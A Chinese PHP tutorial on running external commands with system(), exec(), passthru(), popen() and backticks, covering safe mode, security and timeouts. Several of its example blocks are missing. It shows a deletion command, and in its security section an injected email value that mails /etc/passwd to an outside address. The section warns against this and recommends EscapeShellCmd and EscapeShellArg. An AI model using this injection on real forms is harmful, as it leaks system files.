在php中，调用外部命令的函数有不少，常见的有：
有时，会遇到在php脚本中添加了命令，例：
exec("rm -rf /a/b/c/*.html");却始终不能执行。
问题一：
问题在于c文件的权限，设置的高了就没有问题了。
问题二：
php的安全模式。
PHP 脚本中受到如下四个方面的限制： 由于 PHP 基本是用于 WEB 顺序开发的所以安全性成了人们考虑的一个重要方面。
如果运行在安全模式下。 执行外部命令 ；打开文件时有些限制；连接 mysql 数据库；基于 HTTP 认证。
只有在特定目录中的外部顺序才可以被执行，安全安模式下。
对其它顺序的调用将被拒绝。
这个目录可以在 php.ini 文件中用 safe_mode_exec_dir 指令，或在编译 PHP 加上 --with-exec-dir 选项来指定，默认是 /usr/local/php/bin。
那么可能已经把php文件运行在安全模式下了，如果调用一个应该可以输出结果的外部命令（意思是 PHP 脚本没有错误）得到却是一片空白。
如何做？
可以用如下三种方法来实现： PHP 中调用外部命令。
1 用 PHP 提供的专门函数
PHP 提供共了 3 个专门的执行外部命令的函数： system()，exec()，passthru()。
system()
原型：string system (string command [, int return_var])
执行给定的命令， system 函数很其它语言中的差不多。输出和返回结果。第二个参数是可选的用来得到命令执行后的状态码。
例子：
passthru()
原型：void passthru (string command [, int return_var])
passthru()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。
所以passthru()函数经常用来调用象pbmplus（Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。
例子：
2，用popen()函数打开进程
以上方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。
popen()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭它。
例子1：
例子2：
3，用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）
方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如：
输出类似这样：
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑两个问题：安全性和超时。
先看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地址，然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样：
用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：
'--bla mail someone@domain.com < /etc/passwd '
那么这条命令最终变成：
'mail --bla mail someone@domain.com < /etc/passwd < products.txt'
可怕吧。
幸好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（>）和从文件读入（<）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串就可以安全地作为命令的参数。
超时问题
如果要执行的命令会花费很长的时间，则应该把这个命令放到系统的后台去运行。
但在默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。
解决方法：
把命令的输出重定向到另外一个文件或流中，示例：